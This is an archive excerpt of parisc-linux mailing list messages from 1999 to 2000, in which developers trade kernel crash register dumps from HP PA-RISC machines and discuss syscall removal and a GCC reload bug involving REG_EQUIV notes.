> fbbef7ef
> 09c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
> 00000000
> 09e0 00000000 00000000 c011e710 c011e714 233e60d9 467cc1b2 8cf98364
> 1985b39b
> 0a00 00000000 0000003e c027a000 00000001 00000002 0f881093 00000000
> 1749bb49
> 0a20 c02b61ee 00000000 09045a94 1208b528 24116a50 4822d4a0 9045a940
> 20fde7d3
> 0a40 41fbcfa6 83f79f4c 07998bcb 0f331796 1e662f2c 3ccc5e58 7998bcb0
> f3317960
> 0a60 e6144793 cc5e3a75 98cac1b9 c0104c60 63c66c42 c78cd884 8f6f045b
> 1ea8bde5
> 
> Kernel Fault: Code=15 regs=dfff0840 (Addr=1749bb49)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001000000000000001011
> r0-3     00000000 c0221800 c011e9f8 dfffa220
> r4-7     dfffa200 c0256a3c 00000014 ffd00000
> r8-11    00504d6c c02d9800 c0295794 000000bf
> r12-15   00000000 0000004d 00000001 00000000
> r16-19   f00010f4 f00000ac f00000a4 ffdfffff
> r20-23   dfffa218 ffd00013 ffd00000 0000000b
> r24-27   ffffffff dfffa220 dfffa200 c0266000
> r28-31   1749bb45 00000040 dfff0a80 c012dfc0
> sr0-4    00000000 00000000 00000000 00000000
> sr4-8    00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: c011e710 c011e714
>  IIR: 0f881093    ISR: 00000000  IOR: 1749bb49
> ORIG_R28: 0000003e


From - Thu Nov 08 21:14:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Thienemann <andreas@bawue.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW: hp_boot.log
Date: Fri, 08 Dec 2000 17:33:01 +0100
Organization: IXS
Lines: 43
Approved: news@gmane.org
Message-ID: <3A310D3D.1208AAF3@bawue.de>
References: <1A8904C3797ED411AC2E0008C7E6F88117C6A0@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619410 8285 80.91.229.3 (22 Nov 2014 01:23:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:30 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>,
        "'thuis'" <digihans@wishmail.net>
To: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: andreas@bawue.de  Fri Dec  8 09:30:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA23968
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Dec 2000 09:30:54 -0700
Original-Received: (qmail 12882 invoked by uid 15267); 8 Dec 2000 16:33:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12866 invoked from network); 8 Dec 2000 16:33:34 -0000
Original-Received: from bender.bawue.de (193.197.13.1)
  by mailserv2.iuinc.com with SMTP; 8 Dec 2000 16:33:34 -0000
Original-Received: from gate.ixs.bb.bawue.de (p3E9ED473.dip.t-dialin.net [62.158.212.115])
	by bender.bawue.de (Postfix) with ESMTP
	id DB0A882E; Fri,  8 Dec 2000 17:33:30 +0100 (CET)
Original-Received: from bawue.de (ixs.ixs.com [192.168.1.2])
	by gate.ixs.bb.bawue.de (8.9.3/8.9.3) with ESMTP id RAA20266;
	Fri, 8 Dec 2000 17:30:58 +0100
X-Mailer: Mozilla 4.76 [en] (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8820

Hi Hans,

"Witvliet, Hans" wrote:

> I had the impression that the C110 was supported, however when booting from
> cd (from palinux.05.iso) i got following results:
Interesting.

This does resemble the crash I'm experiencing on my D250.

The Kernel boots, finds some Hardware and than dumps stack. Somewhere after
the message "Posix Conformance tested".

The following is from my fault message:
---
Data access rights fault in kernel: Code=26 regs=c7f9c7c0 (Addr=00000004)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001011
r0-3     00000000 c0291800 c02712ec 00000000
r4-7     c7ffc400 ffffffff c01c3870 c025d800
r8-11    c0292800 000000f0 00000000 000000ff
r12-15   000000f2 000000fa 000000fd f0100000
r16-19   f0001180 f0000070 f0000068 00000000
r20-23   c7f9c74e 00000002 c0271574 ffd07000
r24-27   c7f9c750 00000f20 00000000 c023a000
r28-31   00000001 00000000 c7f9ca00 0027b9b8
sr0-4    00000000 00000000 00000000 00000000
sr4-8    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: c0271308 c027130c
 IIR: 0e681096    ISR: 00000000  IOR: 00000004
ORIG_R28: 000000fd
---

I guess it has something to do with the "i82596_probe".
Could you do a lookup of the IAOQ Register to see if it is the same?
Get the "build-tools" from the CVs, and use the "a" program to lookup the
symbol in your system-map.

bye,
 andreas


From - Thu Nov 08 21:14:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] FW: hp_boot.log
Date: Fri, 8 Dec 2000 18:20:10 +0100
Lines: 75
Approved: news@gmane.org
Message-ID: <1A8904C3797ED411AC2E0008C7E6F88117C6A4@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416619410 8287 80.91.229.3 (22 Nov 2014 01:23:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:30 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: "'Andreas Thienemann'" <andreas@bawue.de>
Original-X-From: Hans.Witvliet@Alcatel.nl  Fri Dec  8 10:18:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA24882
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Dec 2000 10:18:00 -0700
Original-Received: (qmail 19633 invoked by uid 15267); 8 Dec 2000 17:20:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19509 invoked from network); 8 Dec 2000 17:20:37 -0000
Original-Received: from alc239.alcatel.be (HELO relay2.alcatel.be) (195.207.101.239)
  by mailserv2.iuinc.com with SMTP; 8 Dec 2000 17:20:37 -0000
Original-Received: from nlntadn.ats.nld.alcatel.nl (localhost [127.0.0.1])
	by relay2.alcatel.be (8.10.1/8.10.1) with ESMTP id eB8HHO928317;
	Fri, 8 Dec 2000 18:17:25 +0100 (MET)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2650.21)
	id <Y3AL1R03>; Fri, 8 Dec 2000 18:20:11 +0100
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:8821

Hi Andreas,

I tried three other machines, with following results
1) B180c
2) B000  
3) 712    
On the B2000 booting also resulted in stack dump,
on B180c and the 712 the system freezes to death after the "switching to UPL
console" message.

I wonder, if it has something to do with the problem that i encounterd some
time ago with the linux port to sun-hardware.
If the system had to much memory, it was not able to startup.
Cant do much testing now, and next week i am @ HP. (see what happens if i
try to boot from my cd at the hp-trainings lab...;-))

Hans
> -----Original Message-----
> From:	Andreas Thienemann [SMTP:andreas@bawue.de]
> Sent:	Friday, December 08, 2000 5:33 PM
> To:	Witvliet, Hans
> Cc:	'parisc-linux@thepuffingroup.com'; 'thuis'
> Subject:	Re: [parisc-linux] FW: hp_boot.log
> 
> Hi Hans,
> 
> "Witvliet, Hans" wrote:
> 
> > I had the impression that the C110 was supported, however when booting
> from
> > cd (from palinux.05.iso) i got following results:
> Interesting.
> 
> This does resemble the crash I'm experiencing on my D250.
> 
> The Kernel boots, finds some Hardware and than dumps stack. Somewhere
> after
> the message "Posix Conformance tested".
> 
> The following is from my fault message:
> ---
> Data access rights fault in kernel: Code=26 regs=c7f9c7c0 (Addr=00000004)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001000000000000001011
> r0-3     00000000 c0291800 c02712ec 00000000
> r4-7     c7ffc400 ffffffff c01c3870 c025d800
> r8-11    c0292800 000000f0 00000000 000000ff
> r12-15   000000f2 000000fa 000000fd f0100000
> r16-19   f0001180 f0000070 f0000068 00000000
> r20-23   c7f9c74e 00000002 c0271574 ffd07000
> r24-27   c7f9c750 00000f20 00000000 c023a000
> r28-31   00000001 00000000 c7f9ca00 0027b9b8
> sr0-4    00000000 00000000 00000000 00000000
> sr4-8    00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: c0271308 c027130c
>  IIR: 0e681096    ISR: 00000000  IOR: 00000004
> ORIG_R28: 000000fd
> ---
> 
> I guess it has something to do with the "i82596_probe".
> Could you do a lookup of the IAOQ Register to see if it is the same?
> Get the "build-tools" from the CVs, and use the "a" program to lookup the
> symbol in your system-map.
> 
> bye,
>  andreas
> 
> --------------------------------------------------------------------------
> -
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com
> with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:14:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A500 status update
Date: Fri, 8 Dec 2000 17:30:08 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20001208173008.B5974@parcelfarce.linux.theplanet.co.uk>
References: <200012070634.WAA07459@milano.cup.hp.com> <200012070649.WAA07510@milano.cup.hp.com> <20001207095613.D7166@linuxcare.com> <E1443ib-0003sK-00@noam.fc.hp.com> <20001207204649.A31668@parcelfarce.linux.theplanet.co.uk> <E1449D7-0008AD-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619410 8295 80.91.229.3 (22 Nov 2014 01:23:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:30 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, Richard Hirst <rhirst@linuxcare.com>,
        Grant Grundler <grundler@cup.hp.com>,
        parisc-linux@puffin.external.hp.com, debian-hppa@lists.debian.org
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: willy@www.linux.org.uk  Fri Dec  8 11:06:17 2000
Original-Received: from www.linux.org.uk (IDENT:root@parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA25918
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Dec 2000 11:06:16 -0700
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 144RLU-0001kI-00; Fri, 08 Dec 2000 17:30:08 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <E1449D7-0008AD-00@noam.fc.hp.com>; from bame@noam.fc.hp.com on Thu, Dec 07, 2000 at 03:08:17PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8822

On Thu, Dec 07, 2000 at 03:08:17PM -0700, Paul Bame wrote:
> = On Thu, Dec 07, 2000 at 09:16:25AM -0700, Paul Bame wrote:
> = > I've left many syscalls disabled and think we should keep them turned
> = > off until it's proven they actually are used.  We should
> = > probably consider nuking them in the 32-bit kernel too.
> = 
> = i noticed we still had readdir.  i believe glibc always uses getdents.
> 
> readdir is disabled on parisc64 -- hasn't been a problem yet...

oh good.  want to disable it on parisc32 too?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW: hp_boot.log
Date: Fri, 08 Dec 2000 11:58:15 -0800
Lines: 47
Approved: news@gmane.org
Message-ID: <200012081958.LAA09759@milano.cup.hp.com>
References: <1A8904C3797ED411AC2E0008C7E6F88117C6A4@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619411 8305 80.91.229.3 (22 Nov 2014 01:23:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:31 +0000 (UTC)
Cc: "'Andreas Thienemann'" <andreas@bawue.de>,
        "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: "Witvliet, Hans" <Hans.Witvliet@alcatel.nl>
Original-X-From: grundler@cup.hp.com  Fri Dec  8 12:55:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA27135
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Dec 2000 12:55:08 -0700
Original-Received: (qmail 13179 invoked by uid 15267); 8 Dec 2000 19:57:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12923 invoked from network); 8 Dec 2000 19:57:38 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 8 Dec 2000 19:57:38 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id B77B47E7; Fri,  8 Dec 2000 11:57:35 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA09759;
	Fri, 8 Dec 2000 11:58:16 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 08 Dec 2000 18:20:10 PST."
             <1A8904C3797ED411AC2E0008C7E6F88117C6A4@nlntmail2b.ats.nld.alcatel.nl> 
Xref: news.gmane.org gmane.linux.ports.parisc:8823


Hans/Andreas,
Re C110 crashing

> 3. U2-IOA BC GSC+ Port (7) at 0xf3fbf000,

I suspect the problem is the CCIO driver isn't seeing the U-turn
chip and DMA will HPMC (crash) the system. We should see some output
from ccio-dma.c driver before LASI "barks".


"Witvliet, Hans" wrote:
> Hi Andreas,
> 
> I tried three other machines, with following results
> 1) B180c
> 2) B000  
> 3) 712    
> On the B2000 booting also resulted in stack dump,

B2000 is like a C3000 with fewer slots/slower CPU.
I don't remember of palinux-v0.5 was tested on that - looks like not.
Newer kernel should work - several of us are using C3k/J5k's for
development.

> on B180c and the 712 the system freezes to death after the "switching to UPL
> console" message.

For B180/712: Read the FAQ at www.parisc-linux.org/faq.html

> 
> I wonder, if it has something to do with the problem that i encounterd some
> time ago with the linux port to sun-hardware.
> If the system had to much memory, it was not able to startup.

Not a problem. We ignore memory beyond 512MB right now.

> Cant do much testing now, and next week i am @ HP. (see what happens if i
> try to boot from my cd at the hp-trainings lab...;-))

enjoy!
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Fri, 8 Dec 2000 17:05:21 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <200012082205.RAA22208@hiauly1.hia.nrc.ca>
References: <20001206161627.C1272@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619411 8307 80.91.229.3 (22 Nov 2014 01:23:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:31 +0000 (UTC)
Cc: alan@linuxcare.com.au, law@cygnus.com, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
To: rth@redhat.com (Richard Henderson)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Dec  8 15:04:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA28489
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Dec 2000 15:04:10 -0700
Original-Received: (qmail 9730 invoked by uid 15267); 8 Dec 2000 22:06:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9703 invoked from network); 8 Dec 2000 22:06:00 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 8 Dec 2000 22:06:00 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id RAA22208;
	Fri, 8 Dec 2000 17:05:22 -0500 (EST)
In-Reply-To: <20001206161627.C1272@redhat.com> from "Richard Henderson" at Dec 6, 2000 04:16:27 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8824

> On Wed, Dec 06, 2000 at 03:41:06PM -0500, John David Anglin wrote:
> > >     (expr_list:REG_EQUIV (mem/u:SI (lo_sum:SI (reg/f:SI 309)
> > > 		(unspec:SI[
> > > 			(symbol_ref:SI ("constructor_max_index"))
> > > 		    ]  0)) 0)
> 
> This appears to be the same sort of bug as in compile/20001205-1.c
> except that an unspec is involved instead of an asm_operands.
> 
> I wonder if the best solution is to avoid local-alloc creating
> REG_EQUIV notes for every little thing under the sun.  Allow
> only general_operand or something.

I am wondering if side_effects_p should return 1 if it encounters
an UNSPEC.  Currently, it just ignores it.  This would prevent the
generation of the REG_EQUIV notes and I think resolve the problem.
However, it might have other side effects.  Any thoughts on this?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Henderson <rth@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Fri, 8 Dec 2000 15:45:27 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <20001208154527.B4084@redhat.com>
References: <20001206161627.C1272@redhat.com> <200012082205.RAA22208@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619411 8309 80.91.229.3 (22 Nov 2014 01:23:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:31 +0000 (UTC)
Cc: alan@linuxcare.com.au, law@cygnus.com, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: rth@cygnus.com  Fri Dec  8 16:43:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA29631
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Dec 2000 16:43:07 -0700
Original-Received: (qmail 5871 invoked by uid 15267); 8 Dec 2000 23:45:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5845 invoked from network); 8 Dec 2000 23:45:39 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 8 Dec 2000 23:45:39 -0000
Original-Received: from dot.cygnus.com (dot.cygnus.com [205.180.230.224])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id PAA01792;
	Fri, 8 Dec 2000 15:45:28 -0800 (PST)
Original-Received: (rth@localhost) by dot.cygnus.com (8.9.3/8.6.4) id PAA04097; Fri, 8 Dec 2000 15:45:27 -0800
X-Mailer: Mutt 0.95.5i
In-Reply-To: <200012082205.RAA22208@hiauly1.hia.nrc.ca>; from John David Anglin on Fri, Dec 08, 2000 at 05:05:21PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:8825

On Fri, Dec 08, 2000 at 05:05:21PM -0500, John David Anglin wrote:
> I am wondering if side_effects_p should return 1 if it encounters
> an UNSPEC.

No, because an UNSPEC has no side effects.

As I said before, the simplest thing is to check for general_operand
before creating the REG_EQUAL note.  Any other solution requires reload
to Do Things to the INSN_CODE during rematerialization.


r~


From - Thu Nov 08 21:14:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Ball <hamster@arctic.nmt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ld problem workaround
Date: Thu, 6 May 1999 13:51:15 -0600 (MDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.SUN.4.05.9905061350280.11906-100000@arctic>
References: <r2aevi3ujd.fsf@happy.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619411 8322 80.91.229.3 (22 Nov 2014 01:23:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: hamster@arctic.nmt.edu  Thu May  6 12:53:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA28171
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 May 1999 12:53:32 -0600
Original-Received: (qmail 6499 invoked by uid 15267); 6 May 1999 19:49:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6492 invoked from network); 6 May 1999 19:49:31 -0000
Original-Received: from arctic.nmt.edu (129.138.40.17)
  by mailserv2.iuinc.com with SMTP; 6 May 1999 19:49:31 -0000
Original-Received: from arctic (arctic.nmt.edu [129.138.40.17]) by arctic.nmt.edu (8.6.11/8.6.9) with ESMTP id NAA12024 for <parisc-linux@thepuffingroup.com>; Thu, 6 May 1999 13:51:16 -0600
X-Sender: hamster@arctic
In-Reply-To: <r2aevi3ujd.fsf@happy.cygnus.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8826


SILO took the same approach, for the SPARC.

----------------------******-------------------
Steve Ball
NMT EE Department System and Network Admistrator

C/S 3392		|	Work: (505) 835-5330
Socorro, NM 87801	|	Shop: (505) 835-5923 (Solar Racing Shop)
hamster@arctic.nmt.edu	|       Home: (505) 835-6325 (South 335)
www.ee.nmt.edu/~hamster	|	www.nmt.edu/~nmtcaver

The secret of flying is simple: Throw yourself at the ground and miss.
Boy, backups sure are a lot faster since i linked /dev/st0 to /dev/null...
----------------------******-------------------


On 6 May 1999, Ulrich Drepper wrote:

> Jason Eckhardt <jason@equator.com> writes:
> 
> > Hopefully, we can re-use much of the standard linux code,
> >   but I haven't thought about this in detail yet.
> 
> Take a look at MILO, the Alpha bootloader.  No need to repeat the work.
> 
> -- 
> ---------------.      drepper at gnu.org  ,-.   1325 Chesapeake Terrace
> Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
> Cygnus Solutions `--' drepper at cygnus.com   `------------------------
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:14:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Fri, 8 Dec 2000 20:07:23 -0500 (EST)
Lines: 27
Approved: news@gmane.org
Message-ID: <200012090107.UAA28226@hiauly1.hia.nrc.ca>
References: <20001208154527.B4084@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619412 8325 80.91.229.3 (22 Nov 2014 01:23:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:32 +0000 (UTC)
Cc: alan@linuxcare.com.au, law@cygnus.com, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
To: rth@redhat.com (Richard Henderson)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Dec  8 18:05:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA30710
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Dec 2000 18:05:03 -0700
Original-Received: (qmail 22948 invoked by uid 15267); 9 Dec 2000 01:07:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22941 invoked from network); 9 Dec 2000 01:07:43 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 9 Dec 2000 01:07:43 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id UAA28226;
	Fri, 8 Dec 2000 20:07:25 -0500 (EST)
In-Reply-To: <20001208154527.B4084@redhat.com> from "Richard Henderson" at Dec 8, 2000 03:45:27 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8827

> On Fri, Dec 08, 2000 at 05:05:21PM -0500, John David Anglin wrote:
> > I am wondering if side_effects_p should return 1 if it encounters
> > an UNSPEC.
> 
> No, because an UNSPEC has no side effects.
> 
> As I said before, the simplest thing is to check for general_operand
> before creating the REG_EQUAL note.  Any other solution requires reload
> to Do Things to the INSN_CODE during rematerialization.

It is my impression that the MEM would pass as a general_operand unless
the volatile flag is set.  It will pass GO_IF_LEGITIMATE_ADDRESS.  Thus,
the general_operand test doesn't look like it will work.

Currently, the unchanging bit is set for the MEM.  The comments in
rtl.h say that the bit in a SYMBOL_REF is used for machine specific
purposes.  Could it be used to add machine dependent side effects to
a SYMBOL_REF (or possibly an UNSPEC)?

I think Doing Things to the INSN_CODE during rematerialization is too
late unless there is an initial check to determine whether this is possible.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Henderson <rth@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Fri, 8 Dec 2000 17:39:48 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <20001208173948.B4198@redhat.com>
References: <20001208154527.B4084@redhat.com> <200012090107.UAA28226@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619412 8327 80.91.229.3 (22 Nov 2014 01:23:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:32 +0000 (UTC)
Cc: alan@linuxcare.com.au, law@cygnus.com, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: rth@cygnus.com  Fri Dec  8 18:37:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA31404
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Dec 2000 18:37:55 -0700
Original-Received: (qmail 19232 invoked by uid 15267); 9 Dec 2000 01:40:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19199 invoked from network); 9 Dec 2000 01:40:00 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 9 Dec 2000 01:40:00 -0000
Original-Received: from dot.cygnus.com (dot.cygnus.com [205.180.230.224])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id RAA08405;
